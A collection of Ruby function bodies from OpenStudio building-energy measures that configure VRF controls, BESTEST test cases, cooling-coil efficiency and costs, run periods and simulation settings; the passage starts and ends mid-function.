runner.registerError(\"The value of #{indoor_vrf_unit_fixed_plr_value} entered for the PLR value must be less then 1.0.\")\n end\n \n # check the VRF outdoor unit for existence in model\n apply_to_all_vrf_outdoor_units = false\n selected_vrf_outdoor_units = nil\n \n if outdoor_vrf_units_to_modify.empty?\n handle = runner.getStringArgumentValue('outdoor_vrf_units_to_modify', user_arguments)\n if handle.empty?\n runner.registerError('No VRF Outdoor Unit object was chosen.')\n return false\n else\n runner.registerError(\"The selected VRF outdoor unit object with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n return false\n end\n else\n if !outdoor_vrf_units_to_modify.get.to_AirConditionerVariableRefrigerantFlow.empty?\n selected_vrf_outdoor_units = outdoor_vrf_units_to_modify.get.to_AirConditionerVariableRefrigerantFlow.get\n elsif !outdoor_vrf_units_to_modify.get.to_Building.empty?\n apply_to_all_vrf_outdoor_units = true\n else\n runner.registerError('Script Error - argument not showing up as an outdoor VRF unit.')\n return false\n end\n end\n \n # define selected outdoor vrf unit objects, depending on user input, add selected vrf unit(s) to an array\n selected_outdoor_vrf_units = []\n if apply_to_all_vrf_outdoor_units == true\n model.getAirConditionerVariableRefrigerantFlows.each do |each_vrf_outdoor_unit|\n selected_outdoor_vrf_units << each_vrf_outdoor_unit\n end\n else \n selected_outdoor_vrf_units << selected_vrf_outdoor_units\n end\n if selected_outdoor_vrf_units.length == 0\n runner.registerAsNotApplicable(\"Model contains no 'qualified' VRF outdoor unit objects for this measure to modify.\") \n return true\n end\n \n # declare variables for proper scope\n vrf_outdoor_unit_counter = 0\n vrf_indoor_unit_counter = 0\n ems_vrf_control_prgm = nil\n ems_prgm_calling_mngr = nil\n \n # Create a stub for the EnergyManagementSystem:Program object for initializing the VRF control modes\n ems_initialize_vrf_control_modes_prgm = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\n ems_initialize_vrf_control_modes_prgm.setName(\"InitializeVRFControlModes\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program object named '#{ems_initialize_vrf_control_modes_prgm.name} was added to initialize the control mode of specified VRF outdoor unit(s).\")\n end\n \n # Create a new EnergyManagementSystem:ProgramCallingManager object configured to call the EMS program \"Init VRF Control Mode Constants\"\n ems_prgm_calling_mngr = OpenStudio::Model::EnergyManagementSystemProgramCallingManager.new(model)\n ems_prgm_calling_mngr.setName(\"Init VRF Control Mode Constants\")\n ems_prgm_calling_mngr.setCallingPoint(\"BeginNewEnvironment\")\n ems_prgm_calling_mngr.addProgram(ems_initialize_vrf_control_modes_prgm) \n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program Calling Manager object named '#{ems_prgm_calling_mngr.name}' added to call #{ems_initialize_vrf_control_modes_prgm.name} EMS program.\") \n end\n \n # Create a stub for the EnergyManagementSystem:Program object for actuation of the VRF outdoor unit\n ems_vrf_control_prgm = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\n ems_vrf_control_prgm.setName(\"VRFControl\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program object named '#{ems_vrf_control_prgm.name} was added to override the specified thermostat control logic of the VRF outdor unit.\")\n end\n \n # Create a second new EnergyManagementSystem:ProgramCallingManager object configured to call the EMS program \"VRF OnOff Management\"\n ems_prgm_calling_mngr = OpenStudio::Model::EnergyManagementSystemProgramCallingManager.new(model)\n ems_prgm_calling_mngr.setName(\"VRF OnOff Management\")\n ems_prgm_calling_mngr.setCallingPoint(\"InsideHVACSystemIterationLoop\")\n ems_prgm_calling_mngr.addProgram(ems_vrf_control_prgm) \n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program Calling Manager object named '#{ems_prgm_calling_mngr.name}' added to call #{ems_vrf_control_prgm.name} EMS program.\") \n end\n \n #Loop through selected vrf outdoor unit objects\n selected_outdoor_vrf_units.each do |outdoor_vrf_unit|\n vrf_outdoor_unit_counter += 1\n \n # create new EMS Global Variable objects representing the operating status of the VRF outdoor unit \n ems_vrf_status_off_gv = OpenStudio::Model::EnergyManagementSystemGlobalVariable.new(model, \"vrf_status_off_#{vrf_outdoor_unit_counter}\")\n ems_vrf_status_cooling_gv = OpenStudio::Model::EnergyManagementSystemGlobalVariable.new(model, \"vrf_status_cooling_#{vrf_outdoor_unit_counter}\")\n ems_vrf_status_heating_gv = OpenStudio::Model::EnergyManagementSystemGlobalVariable.new(model, \"vrf_status_heating_#{vrf_outdoor_unit_counter}\")\n\n # Append logic statements to the EMS program as we iterate through the selected outdoor vrf unit objects\n ems_initialize_vrf_control_modes_prgm.addLine(\"SET #{ems_vrf_status_off_gv.name} = 0.0\")\n ems_initialize_vrf_control_modes_prgm.addLine(\"SET #{ems_vrf_status_cooling_gv.name} = 1.0\")\n ems_initialize_vrf_control_modes_prgm.addLine(\"SET #{ems_vrf_status_heating_gv.name} = 2.0\")\n \n # create a new VRF outdoor unit EMS actuator object representing the operating status of the VRF outdoor unit \n ems_outdoor_vrf_unit_status_actuator = OpenStudio::Model::EnergyManagementSystemActuator.new(outdoor_vrf_unit,\"Variable Refrigerant Flow Heat Pump\",\"Operating Mode\")\n ems_outdoor_vrf_unit_status_actuator.setName(\"VRF_Actuator_OnOff#{vrf_outdoor_unit_counter}\".gsub(\"-\",\"_\"))\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS Actuator object named '#{ems_outdoor_vrf_unit_status_actuator.name}' representing the Operating Mode of 'Variable Refrigerant Flow Heat Pump' object named #{outdoor_vrf_unit.name} was added to the model.\") \n end\n \n # place attached indoor vrf indoor terminal unit objects into an array\n indoor_unit_terminals_vector = outdoor_vrf_unit.terminals\n if indoor_unit_terminals_vector.count == 0\n runner.registerInfo(\"VRF Outdoor unit object named #{outdoor_vrf_unit.name} does not appear to have any connected indoor VF terminal unit objects.\")\n end\n \n indoor_unit_terminals_vector.each do |indoor_unit_terminal|\n \n vrf_indoor_unit_counter += 1\n \n # loop through the indoor terminal units to create an actuator associated with the part load ratio attribute of the indoor unit object\n ems_indoor_vrf_unit_PLR_actuator = OpenStudio::Model::EnergyManagementSystemActuator.new(indoor_unit_terminal,\"Variable Refrigerant Flow Terminal Unit\",\"Part Load Ratio\")\n ems_indoor_vrf_unit_PLR_actuator.setName(\"#{indoor_unit_terminal.name}_VRF#{vrf_outdoor_unit_counter}\".gsub(\"-\",\"_\"))\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS Actuator object named '#{ems_indoor_vrf_unit_PLR_actuator.name}' representing the PLR value associated with the 'Variable Refrigerant Flow Indoor Terminal Unit' object named #{indoor_unit_terminal.name} was added to the model.\") \n end\n \n # Append logic statements to the EMS program as we iterate through the attached indoor vrf unit objects\n ems_vrf_control_prgm.addLine(\"SET #{ems_outdoor_vrf_unit_status_actuator.name} = #{ems_vrf_status_heating_gv.name}\")\n ems_vrf_control_prgm.addLine(\"SET #{ems_indoor_vrf_unit_PLR_actuator.name} = #{indoor_vrf_unit_fixed_plr_value}\")\n \n end # end loop throught associated indoor VRF units\n \n # create new EnergyManagementSystem:OutputVariable object and configure it to hold the VRF outdoor unit control status \n vrf_outdoor_unit_control_status_value = OpenStudio::Model::EnergyManagementSystemOutputVariable.new(model, ems_outdoor_vrf_unit_status_actuator)\n vrf_outdoor_unit_control_status_value.setName(\"Erl VRF Control Status#{vrf_outdoor_unit_counter}\") \n vrf_outdoor_unit_control_status_value.setEMSVariableName(\"#{ems_outdoor_vrf_unit_status_actuator.name}\")\n vrf_outdoor_unit_control_status_value.setTypeOfDataInVariable(\"Averaged\")\n\t vrf_outdoor_unit_control_status_value.setUpdateFrequency(\"SystemTimeStep\") \n \n end # end loop through VRF outdoor units \n \n runner.registerFinalCondition(\"Measure finished with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n \n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n case_num = runner.getStringArgumentValue(\"case_num\", user_arguments)\n runner.registerInfo(\"Full case number: #{case_num}\")\n\n # report initial condition of model\n runner.registerInitialCondition(\"The initial model named #{model.getBuilding.name} has #{model.numObjects} objects.\")\n\n # map case number to arguments and report back arguments\n variable_hash = BestestCaseVarLib.bestest_5_4_case_lookup(case_num,runner)\n if variable_hash == false\n runner.registerError(\"Didn't find #{case_num} in model variable hash.\")\n return false\n else\n # should return one item, get the hash\n variable_hash = variable_hash.first\n end\n\n # Adjust simulation settings if necessary\n # todo - do I want simple or should this be skipped\n BestestModelMethods.config_sim_settings(runner,model,'Simple','Simple')\n\n # Add weather file(won't work in apply measures now)\n top_dir = File.dirname(__FILE__)\n weather_dir = \"#{top_dir}/resources/\"\n weather_file_name = \"#{variable_hash[:epw]}WY2.epw\"\n weather_file = File.join(weather_dir, weather_file_name)\n epw_file = OpenStudio::EpwFile.new(weather_file)\n weather_object = OpenStudio::Model::WeatherFile.setWeatherFile(model, epw_file).get\n weather_name = \"#{epw_file.city}_#{epw_file.stateProvinceRegion}_#{epw_file.country}\"\n weather_lat = epw_file.latitude\n weather_lon = epw_file.longitude\n weather_time = epw_file.timeZone\n weather_elev = epw_file.elevation\n site = model.getSite\n site.setName(weather_name)\n site.setLatitude(weather_lat)\n site.setLongitude(weather_lon)\n site.setTimeZone(weather_time)\n site.setElevation(weather_elev)\n runner.registerInfo(\"Weather > setting weather to #{weather_object.url.get}\")\n\n # need design days for OpenStudio to run, but values should not matter\n summer_design_day = OpenStudio::Model::DesignDay.new(model)\n winter_design_day = OpenStudio::Model::DesignDay.new(model)\n winter_design_day.setDayType('WinterDesignDay')\n\n # set runperiod\n run_period = model.getRunPeriod\n run_period.setEndMonth(3)\n run_period.setEndDayOfMonth (31)\n runner.registerInfo(\"Run Period > Setting Simulation Run Period from 1/1 through 3/31.\")\n\n # Lookup envelope\n file_to_clone = nil\n if case_num.include? 'HE'\n file_to_clone = 'Bestest_Geo_HE100.osm'\n else\n runner.registerError(\"Unexpected Geometry Variables.\")\n return false\n end\n\n # Add envelope from external file\n runner.registerInfo(\"Envelope > Adding spaces and zones from #{file_to_clone}\")\n translator = OpenStudio::OSVersion::VersionTranslator.new\n geo_path = OpenStudio::Path.new(File.dirname(__FILE__) + \"/resources/\" + \"#{file_to_clone}\")\n geo_model = translator.loadModel(geo_path).get\n geo_model.getBuilding.clone(model)\n\n # change heat balance defaults\n model.getHeatBalanceAlgorithm.setMinimumSurfaceConvectionHeatTransferCoefficientValue(0.0000001)\n\n # Specific to HE cases, set SurfacePropertyConvectionCoefficients\n conv_coef = OpenStudio::Model::SurfacePropertyConvectionCoefficientsMultipleSurface.new(model)\n conv_coef.setSurfaceType('AllExteriorWalls')\n conv_coef.setConvectionCoefficient1Location('Inside')\n conv_coef.setConvectionCoefficient1Type('Value')\n conv_coef.setConvectionCoefficient1(0.1)\n conv_coef.setConvectionCoefficient2Location('Outside')\n conv_coef.setConvectionCoefficient2Type('Value')\n conv_coef.setConvectionCoefficient2(0.0000001)\n\n conv_coef = OpenStudio::Model::SurfacePropertyConvectionCoefficientsMultipleSurface.new(model)\n conv_coef.setSurfaceType('AllExteriorRoofs')\n conv_coef.setConvectionCoefficient1Location('Inside')\n conv_coef.setConvectionCoefficient1Type('Value')\n conv_coef.setConvectionCoefficient1(20.0)\n conv_coef.setConvectionCoefficient2Location('Outside')\n conv_coef.setConvectionCoefficient2Type('Value')\n conv_coef.setConvectionCoefficient2(20.0)\n\n # Load resource file\n file_resource = \"bestest_resources.osm\"\n runner.registerInfo(\"Shared Resources > Loading #{file_resource}\")\n translator = OpenStudio::OSVersion::VersionTranslator.new\n resource_path = OpenStudio::Path.new(File.dirname(__FILE__) + \"/resources/\" + \"#{file_resource}\")\n resource_model = translator.loadModel(resource_path).get\n\n # no internal loads in HE cases\n\n # no infiltration in HE cases\n\n # setup clg thermostat schedule\n bestest_no_clg = resource_model.getModelObjectByName(\"No Cooling\").get.to_ScheduleRuleset.get\n clg_setp = bestest_no_clg.clone(model).to_ScheduleRuleset.get\n\n # setup htg thermostat schedule\n if variable_hash[:htg_set].is_a? Float\n htg_setp = OpenStudio::Model::ScheduleConstant.new(model)\n htg_setp.setValue(variable_hash[:htg_set])\n htg_setp.setName(\"#{variable_hash[:htg_set]} C\")\n elsif variable_hash[:htg_set] == [15.0,20.0] # HE220 and HE230 use same htg setpoint schedule\n resource_sch = resource_model.getModelObjectByName(\"HE220_htg\").get.to_ScheduleRuleset.get\n htg_setp = resource_sch.clone(model).to_ScheduleRuleset.get\n else\n runner.registerError(\"Unexpected heating setpoint variable\")\n return false\n end\n\n # create thermostats\n thermostat = OpenStudio::Model::ThermostatSetpointDualSetpoint.new(model)\n thermostat.setCoolingSetpointTemperatureSchedule(clg_setp)\n thermostat.setHeatingSetpointTemperatureSchedule(htg_setp)\n zone = model.getThermalZones.first\n zone.setThermostatSetpointDualSetpoint(thermostat)\n runner.registerInfo(\"Thermostat > #{zone.name} has clg setpoint sch named #{clg_setp.name} and htg setpoint sch named #{htg_setp.name}.\")\n\n # add in HVAC\n BestestModelMethods.create_he_system(runner,model,variable_hash)\n\n # rename the building\n model.getBuilding.setName(\"BESTEST Case #{case_num}\")\n runner.registerInfo(\"Renaming Building > #{model.getBuilding.name}\")\n\n # set timesteps per hour\n timestep = model.getTimestep\n timestep.setNumberOfTimestepsPerHour(4)\n\n # note: set interior solar distribution fractions isn't needed if E+ auto calculates it\n\n # note: moved variable requests to reporting measure in energyPlusOutputReqests method\n\n # report final condition of model\n runner.registerFinalCondition(\"The final model named #{model.getBuilding.name} has #{model.numObjects} objects.\")\n\n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n object = runner.getOptionalWorkspaceObjectChoiceValue('object', user_arguments, model) # model is passed in because of argument type\n cop = runner.getDoubleArgumentValue('cop', user_arguments)\n remove_costs = runner.getBoolArgumentValue('remove_costs', user_arguments)\n material_cost = runner.getDoubleArgumentValue('material_cost', user_arguments)\n demolition_cost = runner.getDoubleArgumentValue('demolition_cost', user_arguments)\n years_until_costs_start = runner.getIntegerArgumentValue('years_until_costs_start', user_arguments)\n demo_cost_initial_const = runner.getBoolArgumentValue('demo_cost_initial_const', user_arguments)\n expected_life = runner.getIntegerArgumentValue('expected_life', user_arguments)\n om_cost = runner.getDoubleArgumentValue('om_cost', user_arguments)\n om_frequency = runner.getIntegerArgumentValue('om_frequency', user_arguments)\n\n # check the air_loop for reasonableness\n apply_to_all_air_loops = false\n air_loop = nil\n if object.empty?\n handle = runner.getStringArgumentValue('air_loop', user_arguments)\n if handle.empty?\n runner.registerError('No air loop was chosen.')\n else\n runner.registerError(\"The selected air_loop with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if !object.get.to_AirLoopHVAC.empty?\n air_loop = object.get.to_AirLoopHVAC.get\n elsif !object.get.to_Building.empty?\n apply_to_all_air_loops = true\n else\n runner.registerError('Script Error - argument not showing up as air loop.')\n return false\n end\n end\n\n # check the user_name for reasonableness\n if cop <= 0\n runner.registerError('Please enter a positive value for Rated COP.')\n return false\n end\n if cop > 10\n runner.registerWarning(\"The requested Rated COP of #{cop} seems unusually high\")\n end\n\n # set flags to use later\n costs_requested = false\n\n # set values to use later\n yr0_capital_totalCosts_baseline = 0\n yr0_capital_totalCosts_proposed = 0\n\n # If demo_cost_initial_const is true then will be applied once in the lifecycle. Future replacements use the demo cost of the new construction.\n demo_costs_of_baseline_objects = 0\n\n # check costs for reasonableness\n if material_cost.abs + demolition_cost.abs + om_cost.abs == 0\n runner.registerInfo('No costs were requested for Coil Cooling DX Single Speed units.')\n else\n costs_requested = true\n end\n\n # check lifecycle arguments for reasonableness\n if (years_until_costs_start < 0) && (years_until_costs_start > expected_life)\n runner.registerError('Years until costs start should be a non-negative integer less than Expected Life.')\n end\n if (expected_life < 1) && (expected_life > 100)\n runner.registerError('Choose an integer greater than 0 and less than or equal to 100 for Expected Life.')\n end\n if om_frequency < 1\n runner.registerError('Choose an integer greater than 0 for O & M Frequency.')\n end\n\n # short def to make numbers pretty (converts 4125001.25641 to 4,125,001.26 or 4,125,001). The definition be called through this measure\n def neat_numbers(number, roundto = 2) # round to 0 or 2)\n if roundto == 2\n number = format '%.2f', number\n else\n number = number.round\n end\n # regex to add commas\n number.to_s.reverse.gsub(/([0-9]{3}(?=([0-9])))/, '\\\\1,').reverse\n end\n\n # helper that loops through lifecycle costs getting total costs under \"Construction\" or \"Salvage\" category and add to counter if occurs during year 0\n def get_total_costs_for_objects(objects)\n counter = 0\n objects.each do |object|\n object_LCCs = object.lifeCycleCosts\n object_LCCs.each do |object_LCC|\n if (object_LCC.category == 'Construction') || (object_LCC.category == 'Salvage')\n if object_LCC.yearsFromStart == 0\n counter += object_LCC.totalCost\n end\n end\n end\n end\n return counter\n end\n\n # get air loops for measure\n if apply_to_all_air_loops\n air_loops = model.getAirLoopHVACs\n else\n air_loops = []\n air_loops << air_loop # only run on a single space type\n end\n\n # get cop values\n initial_cop_values = []\n missing_initial_cop = 0\n\n # loop through air loops\n air_loops.each do |air_loop|\n supply_components = air_loop.supplyComponents\n\n # find single speed dx units on loop\n supply_components.each do |supply_component|\n hVACComponent = supply_component.to_CoilCoolingDXSingleSpeed\n if !hVACComponent.empty?\n hVACComponent = hVACComponent.get\n\n # change and report high speed cop. Prior to 3.5.0 it was an OptionalDouble\n initial_cop = OpenStudio::OptionalDouble.new(hVACComponent.ratedCOP)\n if !initial_cop.empty?\n runner.registerInfo(\"Changing the Rated COP from #{initial_cop.get} to #{cop} for single speed dx unit '#{hVACComponent.name}' on air loop '#{air_loop.name}'\")\n initial_cop_values << initial_cop.get\n optionalDoubleCOP = OpenStudio::OptionalDouble.new(cop)\n hVACComponent.setRatedCOP(optionalDoubleCOP)\n else\n runner.registerInfo(\"Setting the Rated COP to #{cop} for single speed dx unit '#{hVACComponent.name}' on air loop '#{air_loop.name}. The original object did not have a Rated COP value'\")\n missing_initial_cop += 1\n hVACComponent.setRatedCOP(cop)\n end\n\n # get initial year 0 cost\n yr0_capital_totalCosts_baseline += get_total_costs_for_objects([hVACComponent])\n\n # demo value of baseline costs associated with unit\n demo_LCCs = hVACComponent.lifeCycleCosts\n demo_LCCs.each do |demo_LCC|\n if demo_LCC.category == 'Salvage'\n demo_costs_of_baseline_objects += demo_LCC.totalCost\n end\n end\n\n # remove all old costs to mimic replacement of component vs. an upgrade\n if !hVACComponent.lifeCycleCosts.empty? && (remove_costs == true)\n runner.registerInfo(\"Removing existing lifecycle cost objects associated with #{hVACComponent.name}\")\n removed_costs = hVACComponent.removeLifeCycleCosts\n costs_removed = true\n end\n\n # add new costs\n if costs_requested == true\n\n # adding new cost items\n lcc_mat = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"LCC_Mat - #{hVACComponent.name}\", hVACComponent, material_cost, 'CostPerEach', 'Construction', expected_life, years_until_costs_start)\n # cost for if demo_initial_Construction == true is added at the end of the measure\n lcc_demo = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"LCC_Demo - #{hVACComponent.name}\", hVACComponent, demolition_cost, 'CostPerEach', 'Salvage', expected_life, years_until_costs_start + expected_life)\n lcc_om = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"LCC_OM - #{hVACComponent.name}\", hVACComponent, om_cost, 'CostPerEach', 'Maintenance', om_frequency, 0)\n\n # get final year 0 cost\n yr0_capital_totalCosts_proposed += get_total_costs_for_objects([hVACComponent])\n\n end\n\n end\n end\n end\n\n # add one time demo cost of removed object\n if demo_cost_initial_const == true\n building = model.getBuilding\n lcc_baseline_demo = OpenStudio::Model::LifeCycleCost.createLifeCycleCost('LCC_baseline_demo', building, demo_costs_of_baseline_objects, 'CostPerEach', 'Salvage', 0, years_until_costs_start).get # using 0 for repeat period since one time cost.\n runner.registerInfo(\"Adding one time cost of $#{neat_numbers(lcc_baseline_demo.totalCost, 0)} related to demolition of baseline objects.\")\n\n # if demo occurs on year 0 then add to initial capital cost counter\n if lcc_baseline_demo.yearsFromStart == 0\n yr0_capital_totalCosts_proposed += lcc_baseline_demo.totalCost\n end\n end\n\n # reporting initial condition of model\n runner.registerInitialCondition(\"The starting Rated COP values in affected loop(s) range from #{initial_cop_values.min} to #{initial_cop_values.max}. Initial year 0 capital costs for affected Coil Cooling DX Single Speed units is $#{neat_numbers(yr0_capital_totalCosts_baseline, 0)}.\")\n\n if initial_cop_values.size + missing_initial_cop == 0\n runner.registerAsNotApplicable('The affected loop(s) does not contain any single speed DX cooling units, the model will not be altered.')\n return true\n end\n\n # reporting final condition of model\n runner.registerFinalCondition(\"#{initial_cop_values.size + missing_initial_cop} single speed dx units had their Rated COP values set to #{cop}. Final year 0 capital costs for affected Coil Cooling DX Single Speed units is $#{neat_numbers(yr0_capital_totalCosts_proposed, 0)}.\")\n\n return true\n end",
"def parameter_rule?; end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # Make integer arg to run measure [1 is run, 0 is no run]\n run_measure = OpenStudio::Ruleset::OSArgument::makeIntegerArgument(\"run_measure\",true)\n run_measure.setDisplayName(\"Run Measure\")\n run_measure.setDescription(\"integer argument to run measure [1 is run, 0 is no run]\")\n run_measure.setDefaultValue(1)\n args << run_measure\n\n return args\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # Make integer arg to run measure [1 is run, 0 is no run]\n run_measure = OpenStudio::Ruleset::OSArgument::makeIntegerArgument(\"run_measure\",true)\n run_measure.setDisplayName(\"Run Measure\")\n run_measure.setDescription(\"integer argument to run measure [1 is run, 0 is no run]\")\n run_measure.setDefaultValue(1)\n args << run_measure\n\n return args\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n \n #use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n start_date = runner.getStringArgumentValue(\"start_date\",user_arguments)\n end_date = runner.getStringArgumentValue(\"end_date\",user_arguments)\n \n # set start date\n if date = year_month_day(start_date)\n\n start_date = OpenStudio::Date.new(OpenStudio::MonthOfYear.new(date[1]), date[2], date[0])\n \n # actual year of start date\n #yearDescription = model.getYearDescription()\n #yearDescription.setCalendarYear(date[0])\n \n runPeriod = model.getRunPeriod()\n runPeriod.setBeginMonth(date[1])\n runPeriod.setBeginDayOfMonth(date[2])\n else\n runner.registerError(\"Unknown start date '#{start_date}'\")\n fail \"Unknown start date '#{start_date}'\"\n return false\n end\n \n # set end date\n if date = year_month_day(end_date)\n \n end_date = OpenStudio::Date.new(OpenStudio::MonthOfYear.new(date[1]), date[2], date[0])\n \n runPeriod = model.getRunPeriod()\n runPeriod.setEndMonth(date[1])\n runPeriod.setEndDayOfMonth(date[2])\n else\n runner.registerError(\"Unknown end date '#{end_date}'\")\n fail \"Unknown end date '#{end_date}'\"\n return false\n end\n \n runPeriod = model.getRunPeriod()\n runner.registerInfo(\"runperiod: #{runPeriod.to_s}\")\n #reporting final condition of model\n runner.registerFinalCondition(\"Changed run period.\")\n \n return true\n \n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n construction = runner.getOptionalWorkspaceObjectChoiceValue('construction', user_arguments, model) # model is passed in because of argument type\n\n # check the construction for reasonableness\n if construction.empty?\n handle = runner.getStringArgumentValue('construction', user_arguments)\n if handle.empty?\n runner.registerError('No construction was chosen.')\n else\n runner.registerError(\"The selected construction with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if !construction.get.to_Construction.empty?\n construction = construction.get.to_Construction.get\n else\n runner.registerError('Script Error - argument not showing up as construction.')\n return false\n end\n end\n\n # counter for number of constructions use for interior walls in initial construction\n interior_walls = 0\n\n # make an array of walls that started as matched surfaces.\n # I need to do this first, because when one of pair changes to Adiabatic, the other will change to Outdoors\n surfaces_to_change = []\n surfaces = model.getSurfaces\n surfaces.each do |surface|\n if (surface.surfaceType == 'Wall') && (surface.outsideBoundaryCondition == 'Surface')\n surfaces_to_change << surface\n end\n end\n\n # change boundary condition and assign constructions\n surfaces_to_change.each do |surface|\n surface.setConstruction(construction)\n surface.setOutsideBoundaryCondition('Adiabatic')\n interior_walls += 1\n end\n\n # reporting initial condition of model\n runner.registerInitialCondition(\"The initial model has #{interior_walls / 2} pairs of interior wall surfaces.\")\n\n # reporting final condition of model\n finishing_spaces = model.getSpaces\n runner.registerFinalCondition(\"All interior walls surfaces now use #{construction.name} for the construction.\")\n\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n start_date = runner.getOptionalStringArgumentValue(\"start_date\", user_arguments)\n model_set_start_date(model, start_date.get) unless start_date.empty?\n\n end_date = runner.getOptionalStringArgumentValue(\"end_date\", user_arguments)\n model_set_end_date(model, end_date.get) unless end_date.empty?\n\n heating_sizing_factor = runner.getOptionalDoubleArgumentValue(\"heating_sizing_factor\", user_arguments)\n model.getSizingParameters.setHeatingSizingFactor(heating_sizing_factor.get) if heating_sizing_factor.is_initialized\n\n cooling_sizing_factor = runner.getOptionalDoubleArgumentValue(\"cooling_sizing_factor\", user_arguments)\n model.getSizingParameters.setCoolingSizingFactor(cooling_sizing_factor.get) if cooling_sizing_factor.is_initialized\n\n timesteps = runner.getOptionalIntegerArgumentValue(\"timesteps_per_hour\", user_arguments)\n model.getTimestep.setNumberOfTimestepsPerHour(timesteps.get) unless timesteps.empty?\n\n simulation_control = model.getSimulationControl\n do_zone_sizing = runner.getBoolArgumentValue(\"do_zone_sizing\", user_arguments)\n simulation_control.setDoZoneSizingCalculation(do_zone_sizing)\n\n do_system_sizing = runner.getBoolArgumentValue(\"do_system_sizing\", user_arguments)\n simulation_control.setDoSystemSizingCalculation(do_system_sizing)\n\n do_plant_sizing = runner.getBoolArgumentValue(\"do_plant_sizing\", user_arguments)\n simulation_control.setDoPlantSizingCalculation(do_plant_sizing)\n\n sim_for_sizing = runner.getBoolArgumentValue(\"sim_for_sizing\", user_arguments)\n simulation_control.setRunSimulationforSizingPeriods(sim_for_sizing)\n\n sim_for_run_period = runner.getBoolArgumentValue(\"sim_for_run_period\", user_arguments)\n simulation_control.setRunSimulationforWeatherFileRunPeriods(sim_for_run_period)\n\n max_warmup_days = runner.getOptionalIntegerArgumentValue(\"max_warmup_days\", user_arguments)\n simulation_control.setMaximumNumberofWarmupDays(max_warmup_days.get) unless max_warmup_days.empty?\n\n min_warmup_days = runner.getOptionalIntegerArgumentValue(\"min_warmup_days\", user_arguments)\n simulation_control.setMinimumNumberofWarmupDays(min_warmup_days.get) unless min_warmup_days.empty?\n\n loads_convergence_tolerance = runner.getOptionalDoubleArgumentValue(\"loads_convergence_tolerance\", user_arguments)\n simulation_control.setLoadsConvergenceToleranceValue(loads_convergence_tolerance.get) unless loads_convergence_tolerance.empty?\n\n temp_convergence_tolerance = runner.getOptionalDoubleArgumentValue(\"temp_convergence_tolerance\", user_arguments)\n simulation_control.setTemperatureConvergenceToleranceValue(temp_convergence_tolerance.get) unless temp_convergence_tolerance.empty?\n\n solar_distribution = runner.getOptionalStringArgumentValue(\"solar_distribution\", user_arguments)\n simulation_control.setSolarDistribution(solar_distribution.get) unless solar_distribution.empty?\n\n convergence_limits = model.getConvergenceLimits\n max_hvac_iterations = runner.getOptionalIntegerArgumentValue(\"max_warmup_days\", user_arguments)\n convergence_limits.setMaximumHVACIterations(max_hvac_iterations.get) unless max_hvac_iterations.empty?\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # Use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n\n\n \n \n # Load some helper libraries\n require_relative 'resources/RemoveHVAC.Model'\n require_relative 'resources/OsLib_Schedules'\n \n # Extract an HVAC operation and ventilation schedule from\n # airloop serving the most zones in the current model\n air_loop_most_zones = nil\n max_zones = 0\n model.getAirLoopHVACs.each do |air_loop|\n num_zones = air_loop.thermalZones.size\n if num_zones > max_zones\n air_loop_most_zones = air_loop\n max_zones = num_zones\n end\n end\n building_HVAC_schedule = nil\n building_ventilation_schedule = nil\n if air_loop_most_zones\n building_HVAC_schedule = air_loop_most_zones.availabilitySchedule\n if air_loop_most_zones.airLoopHVACOutdoorAirSystem.is_initialized\n building_ventilation_schedule = air_loop_most_zones.airLoopHVACOutdoorAirSystem.get.getControllerOutdoorAir.maximumFractionofOutdoorAirSchedule\n if building_ventilation_schedule.is_initialized\n building_ventilation_schedule = building_ventilation_schedule.get\n end\n end \n end\n if building_HVAC_schedule.nil?\n building_HVAC_schedule = model.alwaysOnDiscreteSchedule\n end\n if building_ventilation_schedule.nil?\n building_ventilation_schedule = model.alwaysOnDiscreteSchedule\n end\n \n # Remove the existing HVAC equipment\n model.removeHVAC\n \n # Make the new schedules\n sch_ruleset_DOAS_setpoint = OsLib_Schedules.createComplexSchedule(model, {\"name\" => \"AEDG DOAS Temperature Setpoint Schedule\",\n \"default_day\" => [\"All Days\",[24,20.0]]})\n \n 